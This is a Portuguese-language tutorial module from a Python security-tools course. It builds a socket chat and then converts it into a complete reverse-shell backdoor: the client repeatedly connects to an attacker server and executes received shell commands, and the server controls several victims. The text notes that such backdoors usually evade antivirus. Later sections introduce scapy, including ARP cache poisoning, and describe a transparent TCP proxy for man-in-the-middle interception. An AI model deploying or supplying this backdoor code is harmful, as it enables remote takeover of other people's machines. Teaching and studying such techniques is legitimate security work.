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Programação com Sockets básico
Esse módulo é uns dos mais importantes desse curso pois a partir dele começaremos a dar vida a nossas ferramentas para segurança. Muita coisa que vamos aprender nesse módulo será de extrema importância para implementar ferramentas eficientes no futuro. 
Criando um chat com sockets 
Para implementar um chat usando sockets precisamos entender algumas coisas básicas sobre comunicação que nada mais é que uma interação entre clientes e servidor.
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A imagem acima descreve uma simples interação entre um cliente e um servidor, notem que ambos tanto o clientes como o servidor tem as mesmas funções send() e recv(). Essas funções são muito importantes quando você quer estabelecer uma comunicação usando sockets, pois com elas que você irá trafegar os dados na rede em forma bytes.
Na verdade, essas funções que são usadas quando instanciamos um socket são chamadas de sistema do OS ou melhor dizendo são APIs que o sistema disponibiliza para facilitar a vida do programador. Além dessas funções existe outras que são muito utilizadas na criação de sockets.


	Chamadas
	Tipo de socket
	Descrição

	socket (...)
	C ou S
	Cria um socket

	bind(...)
	S ou S
	associa uma porta com um socket

	connect(...)
	C
	estabelece uma conexão por um socket a um destino

	listen(...)
	S
	solicita a espera por conexões/pacotes em uma certa porta

	accept()
	S
	aceita conexões recebidos em uma porta

	send(...) recv(...)
	C ou S (TCP)
	envia ou recebe bytes em uma conexão (TCP)

	sendto(...) / recvfrom(...)
	C ou S (UDP)
	envia ou recebe bytes em um socket orientado a datagramas (UDP

	close()
	C ou S
	solicita o fechamento do socket (sempre unilateral)

	Shutdown()
	C ou S
	desabilita a comunicação do socket


Tabela 1.0
Algumas dessas funções iremos utilizar em nossos softwares, logo, é importante saber pelo o menos o cada uma delas faz ou como funcionam. 
Vamos começar a programar nosso chat pelo servidor. Primeiro importamos as funções que iremos utilizar em nosso código.

from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread


servidor.py






AF_INET é uma família de endereços que é usada para designar o tipo de endereço com o qual o seu soquete pode se comunicar (neste caso, endereços do Internet Protocol v4).
SOCK_STREAM para indicar qual tipo de conexão iremos usar no caso TCP/SOCK_STREAM
socket para instanciar os objetos do tipo socket, ou seja, usar as funções descritas acima você precisar importar essa class.
Thread pois iremos criar um servidor que aceita várias conexões ao mesmo tempo logo iremos utilizar a função Thread do módulo threading.

from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread
HOST = ''
PORT = 33000
BUFSIZ = 1024
ADDR = (HOST, PORT)

SERVER = socket(AF_INET, SOCK_STREAM)
SERVER.bind(ADDR)
SERVER.listen(5)





servidor.py









O programa servidor também utiliza a mesma API de sockets. Ou seja, inicialmente ele também cria um socket. No entanto, diferentemente do cliente, o servidor precisa fazer um bind(), que associa o socket a uma porta do sistema operacional, e depois utilizar o listen() para escutar novas conexões de clientes nessa porta e claro definimos que o máximo de conexões para 5.


class Servidor(object):
    def __init__(self, server):
        self.__server = server
        self.__clientes = {}
        self.__addresses = {}

    def getClientes(self):
        return self.__clientes
    
    def addClientes(self, client, name):
        self.__clientes[client] = name
    
    def remClientes(self, client):
        del self.__clientes[client]





servidor.py













Agora vamos deixar nosso servidor mais estruturado criando uma class chamada servidor que receberá apenas um argumento que nesse caso é nosso descritor ou variável SERVER.
    def aceitar_clientes(self):
        while True:
            client, client_address = SERVER.accept()
            print("%s:%s cliente conectado." % client_address)
            client.send("bem-vindo ao chat! informe seu nome para entrar na conversa.")
            self.__addresses[client] = client_address
            Thread(target=self.handle_client, args=(client,)).start()
servidor.py

 







Quando um novo cliente faz uma nova conexão, a chamada accept() é utilizada para começar a se comunicar. Da mesma forma que no cliente, o servidor fica em um loop (laço) recebendo e enviando mensagens através do par de funções send()  e recv(). Como aprendemos com a tabela 1.0 a função accept() ela aceita o pedido de conexão, logo, essa função retorna dois objetos que são:
client: responsável pela conexão com o client/servidor.
client_address: informações sobre a conexão IP e porta associado.


    def handle_client(self, client): 
        """manipulador de clientes."""

        name = client.recv(BUFSIZ).decode("utf8")
        welcome = 'Bem-vindo %s! digite {quit} para sair.' % name
        client.send(welcome)
        msg = "%s entrou no chat!" % name
        self.broadcast(msg)
        self.addClientes(client, name)

        while True:
            msg = client.recv(BUFSIZ)
            if msg != ("{quit}"):
                self.broadcast(msg, name+": ")
            else:
                client.send("{quit}")
                client.close()
                self.remClientes(client)
                self.broadcast("%s saiu do chat." % name)
                break

servidor.py












\
A função handler_client() a nível de socket é responsável por duas coisas em nosso servidor, primeiro dar as boas vindas para o novo clientes associado e segundo enviar e receber massagem do clientes usando send() e recv(). Além disso, a função handler_client() também registra e remove os clientes associado ou que foram desconectados. 
    def broadcast(self, msg): 
        """envia message de Broadcasts para todos os clientes."""

        for sock in self.getClientes():
            sock.send(msg)
servidor.py






A função broadcast() possibilita enviar mensagem para todos clientes por meio de um loop, fazendo isso podemos mostrar para todos clientes a mensagem enviada.
if __name__ == "__main__":
    print("Aguardando clientes...")
    server = Servidor(SERVER)
    ACCEPT_THREAD = Thread(target=server.aceitar_clientes)
    ACCEPT_THREAD.start()
    ACCEPT_THREAD.join()
    SERVER.close()

servidor.py








Agora só precisamos iniciar a thread onde iremos aceitar os possíveis clientes para nosso chat. O cliente é muito mais simples que nosso servidor pois apenas precisamos usar a função connect() , para conectar o nosso servidor, e a funções send() e recv() para receber as mensagens e envia-las.






from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread

HOST = '127.0.0.1'
PORT = 33000

BUFSIZ = 1024
ADDR = (HOST, PORT)

client_socket = socket(AF_INET, SOCK_STREAM)
print("conectando ao servidor")
client_socket.connect(ADDR)

def receive():
    while True:
        try:
            msg = client_socket.recv(BUFSIZ).decode("utf8")
            print(msg)
        except OSError:
            break

receive_thread = Thread(target=receive)
receive_thread.start()

while True:
    msg = raw_input()
    client_socket.send(msg)




cliente.py






















Isso é ótimo para ser testado em vários computadores. Você pode, é claro, executar o servidor e o cliente na mesma máquina para testes (usando 127.0.0.1 para HOST em seu cliente), mas ver a comunicação acontecer em tempo real entre diferentes computadores é impressionante.



Transformando um chat em um backdoor 
Na sessão anterior criamos um chat simples no qual principal intuito foi aprender a comunicação entre computadores, mas se mudarmos algumas coisas podemos criar uma ferramenta de segurança capaz de executar código em uma determinada máquina alvo. Já definimos aqui o conceito de backdoor pra que ele serve e como utiliza-lo, dessa forma percebemos a imensa semelhança com um chat comum, que na verdade pode aborda o conceito de backdoor da forma antiga, ou seja, um backdoor bind.
Backdoor bind nada mais é que a forma antiga muito usada nas primeiras ferramentas de controle remoto, ou seja, os primeiros trojans da história da computação. Antigamente como os computadores usavam ip fixo, ou seja, não mudava constantemente, como hoje acontece, os backdoores apenas abriam uma porta na maquina alvo e dessa forma o atacante podia conecta-se a máquina obtendo o controle da mesma. A técnica bind ainda é utilizada em servidores, já o ip externo não muda, por ser uma forma “segura” para o atacante manter o acesso sem deixar rastros.
Vamos modificar nosso código para criar um backdoor usando a técnica de conexão reversa pois é mais utilizada hoje em dia quando é preciso manter o acesso a uma determinada máquina. Um backdoor reverse (conexão reversa) também o tem o Servidor/Cliente, que usa a conexão reversa, ou seja, o cliente instalado na máquina alvo irá conectar ao servidor da maquina do atacante e assim é possível obter o controle da máquina.
Modificando o cliente
	Um backdoor reverse está a todo momento tentando estabelecer uma conexão com o seu servidor, ou seja, chamando um connect() para receber comandos. 

def connect():
    try:
        client_socket.connect(ADDR)
        print("conectado!")
    except:
        return 
    receive()


cliente.py








	Veremos que a função connect() é chamada dentro de um loop infinito da função main() para tentar estabelecer uma conexão com o atacante/Servidor. A função receive() é encarregada de executar o comando digitado pelo atacante e retornar a saída, ou seja, o output do comando executado.

def receive():
    while True:
        try:
            # recebe o comando digitado pelo Servidor
            comando = client_socket.recv(BUFSIZ).decode("utf8")
            # executa o comando usando Popen do módulo subprocess
            proc = Popen(comando, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
            saida_comando = proc.stdout.read() + proc.stderr.read()
            client_socket.send(saida_comando+'\n')
        except Exception as e:
            print(e)
            break
    print("desconectado!")
    client_socket.close() # fecha o socket
    global client_socket
    # recria o socket para uma nova tentativa de connect()
    client_socket = socket(AF_INET, SOCK_STREAM)


cliente.py














Veja que mesmo sendo um backdoor simples, já conseguimos obter acesso parcial a máquina apenas com poucas linhas de código, logo, esse é um exemplo simples que explica como  a maioria dos backdoors que devolve uma shell simples do prompt de comando do Windows, que no geral não são detectadas pelos Anti-Vírus.
Código completo do cliente:







from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread
from subprocess import Popen, PIPE
from time import sleep

HOST = '127.0.0.1'
PORT = 33000
BUFSIZ = 1024
ADDR = (HOST, PORT)
client_socket = socket(AF_INET, SOCK_STREAM)

def connect():
    """ tenta estabelecer uma conexao com o Servidor"""
    try:
        client_socket.connect(ADDR)
        print("conectado!")
    except:
        return 
    receive()

def receive():
    while True:
        try:
            # recebe o comando digitado pelo Servidor
            comando = client_socket.recv(BUFSIZ).decode("utf8")
            # executa o comando usando Popen do modulo subprocess
            proc = Popen(comando, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
            saida_comando = proc.stdout.read() + proc.stderr.read()
            client_socket.send(saida_comando+'\n')
        except Exception as e:
            print(e)
            break
    print("desconectado!")
    client_socket.close() # fecha o socket
    global client_socket
    # recria o socket para uma nova tentativa de connect()
    client_socket = socket(AF_INET, SOCK_STREAM)

def main():
    while True:
        print("tetando connectar ao servidor")
        connect()
        sleep(5)

main()


cliente.py




























Modificando o servidor
Até o momento o nosso servidor do chat tem a simples função de transmitir a conversa para todos os clientes conectados, talvez esse recurso seja interessante na criação de uma botnet para ataque DDOS que não é o foco dessa sessão. Precisamos modificar o nosso servidor para interagir com apenas um cliente de cada vez, e assim controlar múltiplas máquinas ao mesmo tempo. Vamos começar pelo método aceitar_clientes():
    

def aceitar_clientes(self):
        while True:
            client, client_address = SERVER.accept()
            print(client_address)
            print("%s:%s cliente conectado." % client_address)
            self.__addresses[client_address[0]] = client 
            Thread(target=self.handle_client, args=(client,)).start()

servidor.py








Modificamos apenas a linha destacada em vermelho, pois precisamos armazenar o objeto socket de cada comunicação em um dicionário que a chave será o IPaddrress do cliente conectado.
    

class Servidor(object):
    def __init__(self, server):
        self.__server = server
        self.__clientes = {}
        self.__addresses = {}
        self.__cliente_ativo = None

    def getClientes(self):
        return self.__addresses
    
    def getClienteAtivo(self):
        return self.__cliente_ativo

    def setClienteAtivo(self, client):
        self.__cliente_ativo = client

servidor.py











Além disso criamos um objeto privado destacado em vermelho para receber o socket atual, isso irá permitir comunicar com um cliente por vez, permitindo trocar de sessão facilmente.
    
    def controlClientes(self):
        while True:
            msg = raw_input("> ")
            if (msg == "sair"):
                break
            elif (msg == "list"):
                for client in self.getClientes():
                    print(client)
            elif (msg == "interact"):
                ip  = raw_input("Digite o IP do cliente: ")
                if (self.getClientes().has_key(ip)):
                    self.setClienteAtivo(self.getClientes()[ip])
                else:
                    print("Cliente nao encontrado")
            else:
                if (self.getClienteAtivo() != None):
                    self.getClienteAtivo().send(msg)

servidor.py













O método controlClientes() foi implementado para tornar nosso backdoor multi sockets, ou seja, permitir que vários computadores (clientes) possa conectar e interagir, sendo possível alterar o controle para qualquer cliente conectado. 
Comandos:
	Comandos 
	Descrição 

	list
	mostra todos os clientes conectados ao servidor

	interact
	permite a interação com apeas um cliente por vez


[image: ]

from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread

HOST = ''
PORT = 33000
BUFSIZ = 1024
ADDR = (HOST, PORT)

SERVER = socket(AF_INET, SOCK_STREAM)
SERVER.bind(ADDR)
SERVER.listen(5)

class Servidor(object):
    def __init__(self, server):
        self.__server = server
        self.__clientes = {}
        self.__addresses = {}
        self.__cliente_ativo = None

    def getClientes(self):
        return self.__addresses
    
    def getClienteAtivo(self):
        return self.__cliente_ativo

    def setClienteAtivo(self, client):
        self.__cliente_ativo = client
    
    def aceitar_clientes(self):
        while True:
            client, client_address = SERVER.accept()
            print(client_address)
            print("%s:%s cliente conectado." % client_address)
            self.__addresses[client_address[0]] = client
            Thread(target=self.handle_client, args=(client,)).start()



servidor.py





























    def controlClientes(self):
        while True:
            msg = raw_input("> ")
            if (msg == "sair"):
                break
            elif (msg == "list"):
                for client in self.getClientes():
                    print(client)
            elif (msg == "interact"):
                ip  = raw_input("Digite o IP do cliente: ")
                if (self.getClientes().has_key(ip)):
                    self.setClienteAtivo(self.getClientes()[ip])
                else:
                    print("Cliente nao encontrado")
            else:
                if (self.getClienteAtivo() != None):
                    self.getClienteAtivo().send(msg)
                

    def handle_client(self, client): 
        """manipulador de clientes."""

        while True:
            msg = client.recv(BUFSIZ)
            print(msg)

if __name__ == "__main__":
    print("Aguardando Clientes...")
    server = Servidor(SERVER)
    ACCEPT_THREAD = Thread(target=server.aceitar_clientes)
    ACCEPT_THREAD.start()
    server.controlClientes()
    ACCEPT_THREAD.join()
    SERVER.close()



























Observação:
O principal intuito dessa implementação do backdoor é aprender como funciona um simples backdoor usando os conhecimentos adquiridos nessa sessão, logo, muita coisa ainda precisa ser tratada para que esse backdoor funcione da melhor forma, nos próximos módulos aprenderemos outras formas mais eficiente e ainda usando modulação.
Entendo o módulo scapy
Scapy é um poderoso programa de manipulação de pacotes interativos. É capaz de forjar ou decodificar pacotes de um grande número de protocolos, enviá-los no fio, capturá-los, fazer correspondências, respostas e muito mais. Pode facilmente lidar com a maioria das tarefas clássicas, como varredura, tração, sondagem, testes de unidade, ataques ou descoberta de rede (pode substituir hping, 85% de nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.).
O Scapy suporta python 2/3 e é usando largamente no desenvolvimento de tools para segurança. Nesse curso iremos trabalhar com ele o máximo possível, pois além de facilitar bastante quando queremos reescrever pacotes sem ter que usar struct em python, ainda é possível existe vários métodos que são ajudaram bastante para obter informações da rede.
Alguns Protocolos suportados:
	Ethernet 
	PPP link layer

	802.1Q
	IP

	802.11
	TCP

	802.3
	ICMP

	LLC
	ARP

	EAPOL
	STP

	EAP
	UDP

	BOOTP
	DNS



Protocolos de Rede
Os protocolos de rede também conhecidos como Protocolos de Internet, os Protocolos de Rede são conjuntos de regras que permitem a comunicação entre computadores conectados na internet. Os protocolos de rede nada mais são do que um conjunto de normas que permitem que qualquer máquina conectada à internet possa se comunicar com a outra.
De modo geral é assim que qualquer pessoa ou usuário consegue enviar e receber mensagens instantâneas, baixar e subir arquivos no seu site e acessar qualquer tipo de domínio na web. Vamos entender o funcionamento de alguns protocolos importante para esse curso.
0 - Protocolo TCP/IP
	TCP/IP é o acrônimo de dois protocolos combinados: o TCP (Transmission Control Protocol, que significa Protocolo de Controle de Transmissão) e IP (Internet Protocol, que significa Protocolo de Internet).

Dentre todos os protocolos de rede, juntos, eles formam a base de envio e recebimento de dados por toda a internet.
Ele foi criado para permitir a comunicação entre sistemas de computadores de centros de estudos e organizações militares espalhadas em vários pontos do planeta.
A ideia era oferecer uma troca rápida de mensagens entre computadores conectados a uma rede inédita. E, nesse meio termo, identificar as melhores rotas entre dois locais, mas também encontrar rotas alternativas, quando necessárias.
O protocolo TCP/IP é, na verdade, um conjunto de protocolos que facilitam a comunicação entre duas máquinas conectadas à rede.
Essa pilha de protocolos é dividido em 4 camadas. São elas, em ordem de como a conexão na internet acontece:
Aplicação. Usada pelos programas para enviar e receber dados de outros programas pela própria internet. Nessa camada estão os protocolos HTTP (navegação na web), FTP (transferência de arquivos) e SMTP (emails).
Transporte. Responsável por transportar os arquivos recebidos da camada anterior. Aqui acontece a organização e a transformação deles em pacotes menores, que serão enviados à rede.  
Rede. Os arquivos empacotados na camada anterior são recebidos e anexados ao IP da máquina que envia e que recebe os dados. Daqui, eles são enviados pela internet usando a próxima camada.
Interface. É a cama que, enfim, executa o recebimento ou o envio de arquivos na web. 
1 - Protocolo HTTP
	HTTP é a sigla para Hypertext Transfer Protocol, que significa Protocolo de Transferência de Hipertexto. Ele é o mais básico e usado para navegação em sites da internet.
O protocolo HTTP funciona também como uma conexão entre o cliente e o servidor. Neste caso, o cliente é o navegador que você usa para acessar a internet. E o servidor é aquele em que um site ou domínio está hospedado na rede.

O navegador envia um pedido de acesso a uma página. Essa requisição acontece quando colocamos o endereço de algum site no campo de buscas no navegador. É assim que se acessa qualquer site na rede. 
2 – Protocolo HTTPS
	HTTPS é a sigla para Hyper Text Transfer Secure, que significa Protocolo de Transferência de Hipertexto Seguro.
O protocolo HTTPS é e funciona de forma exatamente igual ao HTTP. A diferença da letra “S” na sigla é uma camada extra de proteção, indicando que sites e domínios que possuem esse protocolo são seguros para o usuário acessar.
O HTTPS aparece em um navegador quando o site acessado possui um Certificado SSL instalado. O SSL cria um canal de proteção entre o cliente e o servidor, adicionando a letra “S” ao HTTP e reforçando uma camada extra de segurança.
Em nossa aula prática iremos construir um sniffer HTTP, ao grosso modo um sniffer é uma ferramenta que fica escutando a rede para obter informações que estão sendo trocas, mas porque não construímos um sniffer para HTTPS? o fato é o protocolo HTTPS foi criado justamente para solucionar vários problemas do HTTP, logo existe algumas proteções que dificulta desenvolver um sniffer para HTTPS, na verdade, até o momento existe uma forma simples de fazer isso, mas o alvo precisa instalar um certificado para que possamos capturar o tráfego na rede.
3 – Protocolo DHCP
DHCP é o acrônimo para Dynamic Host Configuration Protocol, que significa, em português adaptado, Protocolo de Configuração Dinâmica de Endereços de Rede. Ele permite que os computadores consigam um endereço de IP automaticamente.
Por meio de um servidor, o protocolo DHCP é capaz de obter, sem a necessidade de configuração manual, endereços de IPs para cada um dos computadores (ou dispositivos móveis) ligados a uma rede de internet.
Uma vez que uma máquina obtém um endereço de IP, ele fica indisponível para uso naquele momento. Quando ela é desligada ou desconectada da internet, o endereço de IP, antes volta a ficar disponível para ser usado por qualquer nova máquina ligada na conexão.  
4 – Protocolo FTP
FTP é a sigla para File Transfer Protocol, que significa Protocolo de Transferência de Arquivos. Ele surgiu antes mesmo do padrão TCP/IP, que é a base das conexões de internet. E é o modo mais simples de transferir dados entre duas máquinas pela rede.  
O protocolo FTP funciona com dois tipos de conexão:
Cliente - É o computador que faz o pedido de conexão com o servidor para pegar algum arquivo ou documento dele.
Servidor - É o computador que recebe o pedido de conexão com o cliente para fornecer um arquivo ou documento dele.
A conexão do cliente com servidor feita pelo cliente na porta 21 do servidor. Essa conexão fica aberta durante toda a sessão para permitir os comandos necessários, como identificação de contas e senhas.
5 – Protocolo SSH
SSH é a sigla para Secure Shell que, em português adaptado, significa Bloqueio de Segurança. É um dos protocolos específicos de segurança de troca de arquivos entre cliente e servidor.
O protocolo SSH funciona a partir de uma chave pública, que verifica e autentica a legitimidade do servidor que o cliente quer acessar (ou vice-versa). Esse acesso é feito por um login e senha, tornando a conexão entre computadores mais protegida.
Com o SSH, o usuário de internet consegue definir um sistema de proteção para seu site sem comprometer o desempenho dele. Ele fortifica a segurança do seu projeto ao mesmo tempo em que trabalha na transferência de arquivos de uma maneira confiável e estável.
6 - Protocolo SMTP
SMTP é a sigla para Simple Mail Transfer Protocol, que significa Protocolo de Transferência de Correio Simples. Diferente do POP3, o protocolo SMTP é voltado para o envio de mensagens eletrônicas (emails).
A mensagem sai da máquina do cliente e, depois de ter um ou mais destinatários determinados, é autenticada e enviada para o servidor. Lá, os destinatários recebem as mensagens enviadas para o servidor, que são codificadas e recebidas pelo protocolo POP3.
O protocolo SMTP é eficiente por sua simplicidade, mas também é um pouco limitado. Ele se baseia somente em texto. Ou seja, para envio de arquivos, pastas ou mídias, é preciso extensões que convertem esses arquivos no formato de texto.
7 – Protocolo IMAP
IMAP é o acrônimo para Internet Message Access Protocol, que significa Protocolo de Acesso à Mensagem de Internet. Assim como os dois anteriores, o protocolo IMAP também é voltado para envio e recebimento de emails.
Mas, diferentemente deles, o protocolo IMAP permite que o usuário acesse e gerencie seus arquivos e mensagens diretamente no próprio servidor. Ou seja, não é preciso esperar que as mensagens enviadas ao servidor cheguem até a máquina do cliente para mexer nelas.
Essa é uma vantagem bastante útil, pois o usuário não perde tempo e pode adiantar seus trabalhos diretamente pela internet. Em contrapartida, é preciso estar sempre conectado à rede e o limite de armazenamento  
Alguns dos serviços de email mais populares e que usam o protocolo IMAP como base são o Gmail, do Google e o Hotmail, da Microsoft.
8 – Protocolo DNS
O DNS (Domain Name System) é um serviço que utilizamos sempre que fazemos um acesso à internet, mesmo que não saibamos disso. Quando digitamos um endereço em um Browser, ele irá fazer uso do DNS para transformar o nome do host em um endereço IP.
Essa não é a única função desse protocolo, mas é um exemplo bem simples e que comprova como a nossa vida seria difícil sem ele, imagina decorarmos os endereços IP de todos os sites que acessamos todos os dias? Seria uma missão impossível.
Conclusão 
Acabei falando de alguns protocolos que são básicos para a compreensão dos demais e todos eles podem ser manipulados usando o módulo scapy, alguns desses protocolos não iremos trabalhar nesse curso, recomendo fortemente que guarde um tempo para ler sobre alguns deles tais como HTTP, HTTPS, DHCP e DNS que serão abordados em outros módulos.
Funções de baixo nível – scapy
O scapy disponibiliza algumas funções de baixo nível que são simples de serem utilizadas, no geral, essas funções ajuda e facilita bastante.
 

	sr()
	Enviar e receber pacotes na camada 3(rede);

	sr1()
	Enviar pacotes na camada de rede e receber apenas a primeira resposta
da rede;

	srp()
	Enviar e receber pacotes na camada de enlace;

	srp1()
	Enviar e receber pacotes na camada de enlace e receber apenas a primeira resposta

	srloop()
	Enviar pacotes na camada 3 em um loop e imprimir as saídas;

	srploop()
	Enviar pacotes na camada 2 em um loop e imprimir as saídas;

	sniff()
	Capturar pacotes;

	send()
	Enviar pacotes na camada 3

	sendp()
	Enviar pacotes na camada 2

	ls()
	Mostra a lista de camadas suportadas pelo Scapy;

	ls(x)
	- Mostra as características de uma determinada camada x;

	lsc()
	- Mostra todas as funções presentes no Scapy;

	lsc(x)
	Mostra os parâmetros da função x;

	conf
	Mostra todos os parâmetros iniciais predefinidos.



Funções de alto nível – scapy
	p0f()
	Função passiva de recebimento de pacotes do SO;

	arpcachepoison()
	Capturar e desviar pacotes de um determinado host para o computador desejado;

	traceroute()
	Traça a rota de IP's até um determinado nó da rede.

	arping()
	Envia um ARP para determinar quais hosts estão funcionando;

	nmap_fp()
	Função que implementa a ferramenta nmap;

	report_ports()
	Scanner de portas que gera uma tabela em Latex como relatório;

	dyndns_add()
	- Envia uma mensagem de adição ao DNS para um novo nó;

	dyndns_dell()
	Envia uma mensagem para apagar do DNS o nome desejado.



• Funções para criação de pacotes:
– IP()
– ICMP()
– TCP()
– Ether()
– NET()
Métodos importantes
	summary() 
	mostra a lista de características de cada pacote;

	nsummary()
	mesma função do anterior, só que informa-se o número do pacote;

	conversations() 
	imprime o gráfico da conversação

	show()
	mostra a representação desejada;

	filter()
	retorna uma lista de pacotes filtrados por uma função lambda;

	plot()
	plota uma função lambda para a lista de pacotes;

	make_table()
	mostra uma tabela de acordo com uma função lambda.



Exemplos:
Vamos começar criando um pacote simples e logo em seguida enviar e capturar a resposta, a primeira vista fazer esses mesmo exemplo em C (na mão mesmo sem libpcap) já chutaria umas 30 linhas de código. mas em python usando o scapy é muito simples, primeiro vamos instalar o módulo para python 2.7, também seria a mesma linha de código usando python 3. 
    
 mh4lab@mh4lab-virtual-machine:~/shared$ sudo pip install scapy
[sudo] password for mh4lab:
The directory '/home/mh4lab/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/mh4lab/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Requirement already satisfied: scapy in /usr/local/lib/python2.7/dist-packages
mh4lab@mh4lab-virtual-machine:~/shared$
terminal












Pronto! agora já podemos começar.


    
 mh4lab@mh4lab-virtual-machine:~/shared$ sudo python
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> packet = IP(dst="udemy.com")/TCP()
>>> resp = sr1(packet)
Begin emission:
....Finished sending 1 packets.
..........................*
Received 31 packets, got 1 answers, remaining 0 packets
>>> resp
<IP  version=4 ihl=5 tos=0x0 len=44 id=8906 flags= frag=0 ttl=128 proto=tcp chksum=0xfe72 src=104.16.66.85 dst=192.168.174.129 |<TCP  sport=http dport=ftp_data seq=2120300253 ack=1 dataofs=6 reserved=0 flags=SA window=64240 chksum=0xcdf2 urgptr=0 options=[('MSS', 1460)] |<Padding  load='\x00\x00' |>>>
>>>

terminal














Acima temos uma forma simples de mandar pacote TCP/IP para um determinado servidor e obter a resposta. Se você conhece um pouco mais de redes note que todos os campos dos pacotes está visivelmente organizados tanto do TCP como o IP, o interessante é que com algumas linhas de código podemos saber o IP vinculado ao um domínio, que está sinalizado na cor violeta, além do dst que nesse caso é o ip da maquina que fez a requisição, na cor verde. Logo, podemos concluir duas coisas interessante já sabemos uma maneira alternativa de pegar o ip de uma máquina local estando conectado à internet. Além disso, conseguimos descobrir qual o IP vinculado ao domínio.
>>>
>>> resp[IP].dst
'192.168.174.129'
>>> resp[IP].src
'104.16.66.85'
>>>
terminal








>>> resp.show()
###[ IP ]###
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 44
  id        = 8906
  flags     =
  frag      = 0
  ttl       = 128
  proto     = tcp
  chksum    = 0xfe72
  src       = 104.16.66.85
  dst       = 192.168.174.129
  \options   \
###[ TCP ]###
     sport     = http
     dport     = ftp_data
     seq       = 2120300253
     ack       = 1
     dataofs   = 6
     reserved  = 0
     flags     = SA
     window    = 64240
     chksum    = 0xcdf2
     urgptr    = 0
     options   = [('MSS', 1460)]
###[ Padding ]###
        load      = '\x00\x00'

>>>
terminal























Outra forma de visualizar o pacote é usando a função .show() que já expliquei acima o seu funcionamento. Recomendo que busque saber como funciona cada campo desse pacote, ou seja, como é encapsulado, como esse não é o foco do curso as informações importantes, que na verdade é a base, irei sempre indicar algumas fontes para obter esse conhecimento. Como nesse caso o livro tcp/ip illustrated é uma boa opção.

Construindo um TCP proxy - Teoria
Antes de descrever o que é um TCP proxy, vamos entender primeiro o que é um proxy. Um proxy basicamente, ele funciona como um intermediário entre usuário e o servidor do site que ele quer visitar. Ou seja, ao fazer qualquer consulta em um determinado serviço, o proxy entra na jogada e ele mesmo se encarrega enviar os dados e receber as respostas do serviço, assim o usuário não participa efetivamente da conexão, apenas com o servidor proxy. 
Obs: Novamente sugiro que você leia mais sobre proxy e entenda como ele funciona e para os vários fins. Notem que sempre destaco o conteúdo que você precisa pesquisar mais.
Agora já podemos entender como funciona o TCP proxy, um TCP proxy nada mais é do um servidor que atua como intermediário entre um cliente e outro servidor, chamado servidor de destino. O TCP Proxy é um man-in-the-middle para conexões TCP. Assim como o plug-in Sniffer, ele é destinado a interceptar dados sendo transmitidos entre dois nós TCP. Você o configura com uma interface específica e porta TCP para escutar e um endereço de destino específico para conexão. Sempre que um cliente se conecta ao lado do servidor do Proxy TCP, o lado do cliente estabelece uma conexão secundária. Então o TCP Proxy continua passando dados entre seus clientes enquanto registra tudo no processo.
Mas porque iremos desenvolver um TCP proxy? a resposta é muito simples, o protocolo HTTP é executado por cima do protocolo TCP, isso quer dizer se construímos uma ferramenta capaz de interceptar os dados na rede que são enviados sem proteção, ou seja, em HTTP conseguimos obter os dados facilmente. A imagem abaixo resume o que iremos construir!

[image: C:\Users\zegue\Downloads\1_VmIwiBaiCobECLdYS82wKg.png]
	A ideia é construir uma ferramenta que atua como na imagem, um proxy TCP transparente que tem como função apenas monitorar os dados na rede sem que o cliente sabia o que está se passando, nomeamos esse tipo de proxy como proxy transparente do inglês Transparent Proxy.
	Um ataque desse tipo usando TCP proxy geralmente é criando em uma rede LAN, ou seja, em uma rede local onde o atacante consegue enxergar a vítima e com isso manipular os dados na rede. O ataque man-in-the-middle (homem no meio) funciona dessa forma em um ambiente local onde a vítima está conectado.
	A técnica Man-in-the-middle (pt: Homem no meio, em referência ao atacante que intercepta os dados) é uma forma de ataque em que os dados trocados entre duas partes (por exemplo, você e o seu banco), são de alguma forma interceptados, registrados e possivelmente alterados pelo atacante sem que as vítimas se apercebam. Numa comunicação normalmente os dois elementos envolvidos comunicam entre si sem interferências através de um meio, aqui para o que nos interessa, uma rede local à Internet ou ambas.
Durante o ataque man-in-the-middle, a comunicação é interceptada pelo atacante e retransmitida por este de uma forma discricionária. O atacante pode decidir retransmitir entre os legítimos participantes os dados inalterados, com alterações ou bloquear partes da informação.
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